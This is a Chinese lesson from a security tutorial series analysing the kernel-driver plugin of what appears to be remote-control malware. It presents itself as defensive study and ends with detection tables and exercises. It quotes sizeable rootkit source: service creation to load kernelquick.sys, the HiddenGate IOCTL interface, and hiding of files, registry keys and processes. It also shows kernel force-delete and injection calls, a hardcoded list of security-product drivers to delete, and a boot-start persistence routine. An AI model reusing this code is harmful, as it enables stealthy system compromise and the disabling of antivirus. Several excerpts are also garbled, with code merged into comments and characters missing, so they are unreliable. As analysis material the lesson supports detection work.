42 / 52 音视频、代理与系统扩展

第 42 课:主插件:驱动插件

# 第 42 课:主插件:驱动插件

免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。

本课围绕 主插件\驱动插件 展开。这是整套源码里风险最高的模块之一,因为它把用户态控制命令延伸到了内核态:创建驱动服务、暴露设备对象、通过 IOCTL 控制文件/注册进程相关对象。对企业安全工程来说,这一课要学会识别驱动加载、设备访问、IOCTL 控制、内核过滤和高权限删除等信号,而不是学习如何使用这些能力。 第 42 课:主插件:驱动插件(配图)

# 1. 新手先理解:为什么驱动插件特别危险。

普通用户态插件最多影响当前进程或目标用户权限范围内的资源。驱动插件进入内核态后,边界完全不同:它可能拦截文件系统、注册表、进程对象,也可能绕过用户态可见性。企业防护中,驱动加载通常需要更高优先级响应,因为一旦内核态组件运行,单纯结束用户态进程往往不够。 本课只从防御角度解释:

问题 防御理解
为什么关注驱动签名 未签名、异常签名或路径异常的内核驱动风险极高
为什么关注服务名 驱动通常通过 SCM 服务加载,服务创建是重要事件
为什么关注设备对象 用户态程序会通过 \\.\xxx 访问驱动
为什么关注 IOCTL IOCTL 是用户态向驱动下发控制命令的主要通道

# 2. 源码目录和文件

位置 作用 阅读重点
主插件\驱动插件\驱动插件\驱动插件.cpp 插件入口 建立连接、创建 CKernelManager
主插件\驱动插件\驱动插件\KernrlManager.h/.cpp 用户态驱动管理器 命令分发、驱动写出、服务创建、状态控制
主插件\驱动插件\驱动插件\HiddenLib.* 用户态驱动通信封装 DeviceIoControl、隐藏对象控制
主插件\驱动插件\驱动插件\DeviceAPI.h 用户内核态共享接口 设备名、IOCTL 码、数据结构
主插件\驱动插件\驱动插件\驱动功能\驱动功能\Driver.c 内核驱动入口 初始化过滤、设备、网络配置逻辑
主插件\驱动插件\驱动插件\驱动功能\驱动功能\Device.c 内核设备对象 IRP_MJ_DEVICE_CONTROL 分发

依赖说明: 驱动插件主要依赖 Windows SCM、Windows Driver Model 和用户态 DeviceIoControl 通信。它不是普通 DLL 依赖问题,而是用户态程序通过服务控制管理器加载内核驱动,再通过设备对象和 IOCTL 进入内核分发函数。后续源码注释会把服务名、设备名、IOCTL、输入结构和高危内核动作放在代码处说明。

# 3. 驱动插件到底提供哪些能力

3. 驱动插件到底提供哪些能力(配图)

这节先把能力边界说清楚。驱动插件不是单个“加载驱动”按钮,而是一整套用户态到内核态的控制链:

能力 用户态入口 内核态入口 新手理解
初始化驱动 CKernelManager::Initialize DriverEntry / InitializeDevice 写出 .sys,创建驱动服务,启动后创建设备对象
查询/切换状态 GetState / SetState HID_IOCTL_GET_DRIVER_STATE / HID_IOCTL_SET_DRIVER_STATE 用户态通过 IOCTL 切换驱动内部状态
隐藏文件/目录 runcommand(0/1) HID_IOCTL_ADD_HIDDEN_OBJECT 将文件系统对象加入内核隐藏规则
隐藏注册表 runcommand(2/3) 注册表过滤相关逻辑 将注册表键或值加入隐藏规则
保护进程/镜像 runcommand(4/5) 进程对象规则 PID 或镜像路径附加保护状态
高权限删除 runcommand(20) HID_IOCTL_DELETE_FILE 内核侧删除文件,风险极高,只做防御识别
内核辅助注入 runcommand(21) HID_IOCTL_INJECT_PID 内核侧参与注入,企业环境应重点阻断
规则持久化 writercommand 服务注册表配置 把隐藏/保护规则写入 kernelquick 服务配置

后面读源码时按四层看:主控命令进入 CKernelManagerCKernelManager 调用 HiddenLibHiddenLib 通过 DeviceIoControl IOCTL,内核驱动在 Device.c 里分发到具体能力。

# 4. 驱动加载时序

4. 驱动加载时序(配图)

源码中的加载链可以拆成 6 步:插件收到初始化命令,写出驱动文件,调用服务控制管理器创建驱动服务,启动驱动,驱动创建设备对象,检测系统记录服务、驱动/设备相关事件。企业检测应覆盖整条链,而不是只等驱动已经运行。

// 源码位置:主插件\驱动插件\驱动插件\KernrlManager.cpp,约 35-165
// 防御分析注释:
// 1. lpBuffer[0] 是主控下发的内核插件命令字
// 2. COMMAND_KERNEL_INIT 会触发驱动写出、服务创建和驱动启动
// 3. RUNCOMMAND / DELCOMMAND / WRITERCOMMAND 会把文件、注册表、进程规则下发给 HiddenLib
// 4. DEL / INJECT 分支把输入转向 runcommand(20/21),对应内核删除和内核辅助注入,高危能力只做识别说明
void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
    if (lpBuffer[0] == TOKEN_HEARTBEAT)
        return;

    switch (lpBuffer[0])
    {
    case COMMAND_KERNEL_INIT:
        // 防御分析:lpBuffer[1] 决定初始化前是否临时断网
        // 不论哪种分支,核心风险都是后续 Initialize 加载内核驱动
        if (lpBuffer[1] == 0) {
            Initialize();
            return;
        } else {
            SetInternetStatus(false);
            Initialize();
            SetInternetStatus(true);
        }
        break;

    case COMMAND_KERNEL_GETSTATE:
        // 防御分析:查询驱动当前状态,底层会访问设备对象
        GetState();
        break;

    case COMMAND_KERNEL_SETSTATE_CONTINUE:
        // 防御分析:启用驱动内部逻辑,应与 DeviceIoControl 状态切换事件关联
        SetState(StateEnabled);
        break;

    case COMMAND_KERNEL_SETSTATE_STOP:
        // 防御分析:停用驱动内部逻辑,不等于卸载驱动文件或删除服务
        SetState(StateDisabled);
        break;

    case COMMAND_KERNEL_RUNCOMMAND:
    {
        RUNCOMMAND* p_runcommand = (RUNCOMMAND*)lpBuffer;
        // 防御分析:argc 在这里不是 C 语言 main 参数,而是功能编号
        // 例如 0/1 对应文件或目录,2/3 对应注册表,4/5 对应进程或镜像
        runcommand(p_runcommand->argc, p_runcommand->Command);
    }
    break;

    case COMMAND_KERNEL_DELCOMMAND:
    {
        RUNCOMMAND* p_runcommand = (RUNCOMMAND*)lpBuffer;
        delcommand(p_runcommand->argc, p_runcommand->Command);
    }
    break;

    case COMMAND_KERNEL_WRITERCOMMAND:
    {
        RUNCOMMAND* p_runcommand = (RUNCOMMAND*)lpBuffer;
        // 防御分析:writercommand 会把规则写入服务注册表配置,
        // 这意味着部分规则可能在重启后继续生效
        writercommand(p_runcommand->argc, p_runcommand->Command);
    }
    break;

    case COMMAND_KERNEL_BACKDOOR:
        // 防御分析:源码注释说明这里接收登录模块代码数据
        // 代码会读 HKLM\SOFTWARE 下的配置,再把数据写回注册表
        // 这类跨模块传输高危数据的设计应在企业环境中禁止
        break;

    case COMMAND_KERNEL_DEL:
        // 防御分析:转向 runcommand(20),对应内核侧删除文件能力
        runcommand(20, (WCHAR*)(lpBuffer + 1));
        break;

    case COMMAND_KERNEL_INJECT:
        // 防御分析:转向 runcommand(21),对应内核辅助注入能力
        runcommand(21, (WCHAR*)(lpBuffer + 1));
        break;

    case COMMAND_KERNEL_SETSTATE_PROCESS:
    {
        // 防御分析:把当前进程路径加入隐藏/保护规则,属于自保护意图信号
        TCHAR szPath[MAX_PATH * 2];
        GetModuleFileName(NULL, szPath, ARRAYSIZE(szPath));
        runcommand(0, szPath);
        writercommand(0, szPath);
    }
        break;
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93

这段代码的防御含义很直接:网络侧的一个命令可以驱动内核组件初始化。检测时应把“控制连接中的内核初始化命令”和“本机服务创建和驱动加载”串起来。

# 5. 用户态如何加载驱动。

下面这段代码是风险识别重点。它使用服务控制管理器创建 SERVICE_KERNEL_DRIVER 类型服务,服务名为 kernelquick。这类服务创建在 Windows 日志、EDR、Sysmon 中通常都有可观测点。

// 源码位置:主插件\驱动插件\驱动插件\KernrlManager.cpp,约176-219 WriteFile(hFile, Hidden64MyFileBuf, Hidden64MyFileSize, &dwBytesWrite, NULL);
CloseHandle(hFile);

SC_HANDLE hSCMgr = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);

::MoveFile(_T("23423.txt"), _T("kernelquick.sys"));

SC_HANDLE hService = CreateService(
    hSCMgr,
    TEXT("kernelquick"),
    TEXT("kernelquick"),
    SERVICE_ALL_ACCESS,
    SERVICE_KERNEL_DRIVER,
    SERVICE_DEMAND_START,
    SERVICE_ERROR_IGNORE,
    szPath,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL);

if (StartService(hService, 0, NULL)) {
    SendReturnInfo(INITUNSUC, _T("驱动运行成功"));
}

// 防御分析:关kernelquick.sys 写出、kernelquick 服务创建// SERVICE_KERNEL_DRIVER 类型、StartService 调用和驱动签名状态?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

企业侧建议优先记录:

事件 关键字段
驱动文件创建 路径、哈希、签名、父进程
服务创建 服务名、服务类型、启动类型、ImagePath
驱动加载 驱动名、签名状态、加载时
网络关联 加载前后是否有控制连

# 6. IOCTL 控制。

6. IOCTL 控制。(配图)

驱动加载以后,用户态并不是直接调用内核函数,而是通过设备对象和 IOCTL。DeviceAPI.h 把设备名和控制码暴露出来,这对检测很重要。 6. IOCTL 控制。(配图)

// 源码位置:主插件\驱动插件\驱动插件\DeviceAPI.h,约6-29 #define DEVICE_NAME             L"\\Device\\HiddenGate"
#define DOS_DEVICES_LINK_NAME   L"\\DosDevices\\HiddenGate"
#define DEVICE_WIN32_NAME       L"\\\\.\\HiddenGate"

#define HID_IOCTL_SET_DRIVER_STATE          CTL_CODE(FILE_DEVICE_UNKNOWN, (0x800 +  0), METHOD_BUFFERED, FILE_SPECIAL_ACCESS)
#define HID_IOCTL_GET_DRIVER_STATE          CTL_CODE(FILE_DEVICE_UNKNOWN, (0x800 +  1), METHOD_BUFFERED, FILE_SPECIAL_ACCESS)
#define HID_IOCTL_ADD_HIDDEN_OBJECT         CTL_CODE(FILE_DEVICE_UNKNOWN, (0x800 + 60), METHOD_BUFFERED, FILE_SPECIAL_ACCESS)
#define HID_IOCTL_REMOVE_HIDDEN_OBJECT      CTL_CODE(FILE_DEVICE_UNKNOWN, (0x800 + 61), METHOD_BUFFERED, FILE_SPECIAL_ACCESS)
#define HID_IOCTL_DELETE_FILE               CTL_CODE(FILE_DEVICE_UNKNOWN, (0x800 + 80), METHOD_BUFFERED, FILE_SPECIAL_ACCESS)
#define HID_IOCTL_INJECT_PID                CTL_CODE(FILE_DEVICE_UNKNOWN, (0x800 + 81), METHOD_BUFFERED, FILE_SPECIAL_ACCESS)

// 防御分析:设备名 HiddenGate 和高危 IOCTL 码可作为静态规则
// 运行期设备访问检测和内核通信检测的线索。

1
2
3
4
5
6
7
8
9
10
11
12
13
14

HiddenLib.cpp 是用户态封装层。CKernelManager::runcommand 不直接调用 DeviceIoControl,而是调用 Hid_AddHiddenFileHid_DelHid_Inject 这类包装函数;这些包装函数最终都把请求转成指定 IOCTL。

// 源码位置:主插件\驱动插件\驱动插件\HiddenLib.cpp,约82-91、137-345、440-865
// 防御分析注释:
// 1. Hid_Initialize 打开 \\.\HiddenGate,拿到设备句柄后才能继续发送 IOCTL
// 2. Hid_AddHiddenFile / Hid_Del / Hid_Inject 等函数把用户态参数包装成内核输入缓冲区
// 3. DeviceIoControl 是用户态进入驱动控制面的关键 API,检测时要关联设备名、IOCTL 和调用进程
HidStatus Hid_Initialize(PHidContext pcontext, const wchar_t* deviceName)
{
    status = Hid_InitializeWithNoConnection();
    ((PHidContextInternal)pcontext)->hdevice = CreateFile(
        deviceName,
        GENERIC_READ | GENERIC_WRITE,
        0,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL);

    return status;
}

HidStatus Hid_AddHiddenFile(PHidContext context, const wchar_t* filePath, PHidObjId objId)
{
    // 防御分析:高层函数名已经暴露对象类型,底层统一HID_IOCTL_ADD_HIDDEN_OBJECT    if (!DeviceIoControl(context->hdevice,
                         HID_IOCTL_ADD_HIDDEN_OBJECT,
                         hide,
                         (DWORD)size,
                         &result,
                         sizeof(result),
                         &returned,
                         NULL))
        return HID_STATUS_UNSUCCESSFUL;
}

HidStatus Hid_Del(PHidContext context, const wchar_t* filePath, PHidObjId objId)
{
    // 防御分析:内核侧删除文件能力只做风险识别,不展开操作步骤    DeviceIoControl(((PHidContextInternal)context)->hdevice,
                    HID_IOCTL_DELETE_FILE,
                    (VOID*)filePath,
                    (DWORD)len,
                    &result,
                    sizeof(result),
                    &returned,
                    NULL);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

这些控制码对应的风险面如下:

6. IOCTL 控制。(配图)

控制。 风险 检测建
驱动状态 启停内核逻辑 记录状态切换来源
隐藏对象 文件/目录/注册表隐 对比用户态枚举和离线扫描结果
进程对象 隐藏或保护进 结合内核回调、ETW、EDR 视图
删除文件 高权限删除 关注安全软件路径和系统目录
注入 PID 内核辅助注入 最高优先级处理

# 6.1 runcommand:功能编号如何变成驱动规。

runcommand 里的 argc 不是命令行参数数量,而是功能编号。这个设计对新手很容易误导:同一?Command 字符串,在不?argc 下含义完全不同,可能是文件路径、目录路径、注册表路径、进PID 或镜像路径。

// 源码位置:主插件\驱动插件\驱动插件\KernrlManager.cpp:409-488
// 防御分析注释// 1. GetContext 会打开 \\.\HiddenGate,拿到驱动通信上下文// 2. argc 决定调用哪个 HiddenLib 封装函数// 3. 0/1/2/3 是隐藏对象,4/5 是进程或镜像保护0/21 是删除和注入,高危分支只做识别说明// 4. 企业侧应记录 Command 的对象类型和来源,不要只记录一条“DeviceIoControl 调用”void CKernelManager::runcommand(int argc, TCHAR* Command)
{
    if (!m_context)
        GetContext();

    std::wstring m_path = Command;

    switch (argc)
    {
    case 0:
        status = Hid_AddHiddenFile(GetContext(), m_path.c_str(), &objId);
        break;

    case 1:
        status = Hid_AddHiddenDir(GetContext(), m_path.c_str(), &objId);
        break;

    case 2:
        m_regRootType = GetTypeAndNormalizeRegPath(m_path);
        status = Hid_AddHiddenRegKey(GetContext(), m_regRootType, m_path.c_str(), &objId);
        break;

    case 3:
        m_regRootType = GetTypeAndNormalizeRegPath(m_path);
        status = Hid_AddHiddenRegValue(GetContext(), m_regRootType, m_path.c_str(), &objId);
        break;

    case 4:
        status = Hid_AttachProtectedState(GetContext(), _wtol(m_path.c_str()), InheritAlways);
        break;

    case 5:
        status = Hid_AddProtectedImage(GetContext(), m_path.c_str(), InheritAlways, true, &objId);
        break;

    case 20:
        status = Hid_Del(GetContext(), Command, &objId);
        break;

    case 21:
        status = Hid_Inject(GetContext(), Command, &objId);
        break;
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

writercommand 负责把部分规则写到服务注册表配置里。它不是立即执行内核动作,而是把“下次也要生效”的规则保存下来,所以要和服务项、驱动启动值一起看。

// 源码位置:主插件\驱动插件\驱动插件\KernrlManager.cpp:559-640
// 防御分析注释// 1. 不同 argc 对应不同 REG_MULTI_SZ 值名// 2. Hid_NormalizeFilePath / Hid_NormalizeRegistryPath 会把输入规范化后再写入配置// 3. KernelQuick_HideFsFiles、KernelQuick_HideRegKeys、KernelQuick_ProtectedImages 等值名
//    是持久化规则和静态检测的重要线索void CKernelManager::writercommand(int argc, TCHAR* Command)
{
    const wchar_t* valueName;
    std::wstring m_path = Command;
    std::wstring normilized;

    switch (argc)
    {
    case 0:
        valueName = L"KernelQuick_HideFsFiles";
        status = Hid_NormalizeFilePath(m_path.c_str(), buffer, bufferSize);
        break;

    case 1:
        valueName = L"KernelQuick_HideFsDirs";
        status = Hid_NormalizeFilePath(m_path.c_str(), buffer, bufferSize);
        break;

    case 2:
        valueName = L"KernelQuick_HideRegKeys";
        status = Hid_NormalizeRegistryPath(rootType, m_path.c_str(), buffer, bufferSize);
        break;

    case 5:
        valueName = L"KernelQuick_ProtectedImages";
        status = Hid_NormalizeFilePath(m_path.c_str(), buffer, bufferSize);
        break;
    }

    GetMultiStrValue(valueName, commands);
    commands.push_back(normilized);
    SetMultiStrValue(valueName, commands);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

# 7. 内核态分发入。

驱动中的 IrpDeviceControlHandler IOCTL 的核心分发点。这里不需要学习每个功能怎么用,而要看懂它把用户态输入映射到了哪些内核动作。

// 源码位置:主插件\驱动插件\驱动插件\驱动功能\驱动功能\Device.c,约353-445 NTSTATUS IrpDeviceControlHandler(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
    PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
    ULONG ioctl = irpStack->Parameters.DeviceIoControl.IoControlCode;

    inputBuffer = outputBuffer = Irp->AssociatedIrp.SystemBuffer;

    switch (ioctl)
    {
    case HID_IOCTL_SET_DRIVER_STATE:
        result.status = SetDriverStateObject((PHid_DriverStatus)inputBuffer, (USHORT)inputBufferSize);
        break;

    case HID_IOCTL_ADD_HIDDEN_OBJECT:
        result.status = AddHiddenObject((PHid_HideObjectPacket)inputBuffer, (USHORT)inputBufferSize, &result.info.id);
        break;

    case HID_IOCTL_DELETE_FILE:
        // 防御分析:高权限删除能力只做识别说明,不展开使用细节        result.status = ForceDeleteFile(ustrFileName);
        break;

    case HID_IOCTL_INJECT_PID:
        // 防御分析:内核辅助注入属于高风险能力,企业环境应重点阻断        result.status = Inject(*pid);
        break;
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

# 8. 设备对象是用户态入。

// 源码位置:主插件\驱动插件\驱动插件\驱动功能\驱动功能\Device.c,约483-510 NTSTATUS InitializeDevice(PDRIVER_OBJECT DriverObject)
{
    UNICODE_STRING deviceName = RTL_CONSTANT_STRING(DEVICE_NAME);
    UNICODE_STRING dosDeviceName = RTL_CONSTANT_STRING(DOS_DEVICES_LINK_NAME);

    status = IoCreateDevice(
        DriverObject,
        0,
        &deviceName,
        FILE_DEVICE_UNKNOWN,
        0,
        FALSE,
        &deviceObject);

    status = IoCreateSymbolicLink(&dosDeviceName, &deviceName);

    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IrpDeviceControlHandler;

    // 防御分析:设备对象和符号链接建立后,用户态即可通过
    // \\.\HiddenGate 访问驱动控制面}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

对检测系统来说,\\.\HiddenGate 这类设备名非常有价值。即使驱动文件名变化,设备名IOCTL 控制面也可能留下稳定特征。

# 9. 内核侧持久化和高危字符串

Driver.c 中包含两个值得单独关注的点:一是驱动修改自身服务启动值,二是源码中出现大量安全产品驱动路径。后者不在教程中完整列出,防御侧只需要知道它是强烈的恶意意图线索。

// 源码位置:主插件\驱动插件\驱动插件\驱动功能\驱动功能\Driver.c,约24-35 CONST PWCHAR g_DelFiles[] = {
    L"C:\\Windows\\System32\\drivers\\DsArk64.sys",
    L"C:\\Windows\\System32\\drivers\\360AntiSteal64.sys",
    // ... 源码中还包含多个安全产品相关驱动路径,教程不展开列举};

// 防御分析:硬编码安全产品驱动路径是非常强的静态风险特征?

1
2
3
4
5
6
7
// 源码位置:主插件\驱动插件\驱动插件\驱动功能\驱动功能\Driver.c,约86-110 void Setvalue()
{
    RtlInitUnicodeString(
        &RegistryPath,
        L"\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\services\\kernelquick");

    status = ZwOpenKey(&hRegister, KEY_ALL_ACCESS, &objectAttributes);

    RtlInitUnicodeString(&name, L"Start");
    unsigned long dwStart = SERVICE_SYSTEM_START;
    status = ZwSetValueKey(hRegister, &name, 0, REG_DWORD, &dwStart, sizeof(unsigned long));

    // 防御分析:驱动在内核态修改自身服务启动方式,
    // 应作为持久化和高权限配置变更信号处理}
1
2
3
4
5
6
7
8
9
10
11
12
13
14

# 10. 企业检测点

10. 企业检测点(配图)

层面 检测点 建议
文件 kernelquick.sys 或新写出的 .sys 记录哈希、签名、路径、父进程
服务 SERVICE_KERNEL_DRIVER 服务创建 关注服务名、ImagePath、启动类
设备 \\.\HiddenGate 访问 记录访问进程和调用时
IOCTL 隐藏对象、删除文件、注PID 将控制码映射到风险类
内核 文件/注册进程过滤行为 EDR 内核遥测或专用驱动监
日志 Sysmon 驱动加载、Windows Code Integrity、服务创建日 建议统一SIEM 做关
安全产品驱动路径、HiddenGatekernelquick YARA/静态扫描可覆盖

# 11. 合法练习:

  1. 只阅读源码,画出 COMMAND_KERNEL_INIT -> Initialize -> CreateService -> StartService 的防御链路图?

  2. 写一条检测思路:新建 SERVICE_KERNEL_DRIVER 服务 1 分钟内出现 \\.\HiddenGate 访问?

  3. 解释为什么 DeviceIoControl 本身不一定恶意,但结合未知驱动、异常 IOCTL、隐藏对象后风险会升高?

  4. 在实验文档中列出 5 个驱动加载需要检查的字段:路径、签名、哈希、服务名、父进程。

安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。

上次更新: 2026/07/14, 19:37:40

社区交流

讨论与留言

前往 GitHub Issues →

本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。

最近更新
第 1 课:专栏导论与安全边界
07-01
第 3 课:安装编译与调试环境
07-01
第 4 课:第三方库下载、编译与依赖管理
07-01
更多文章>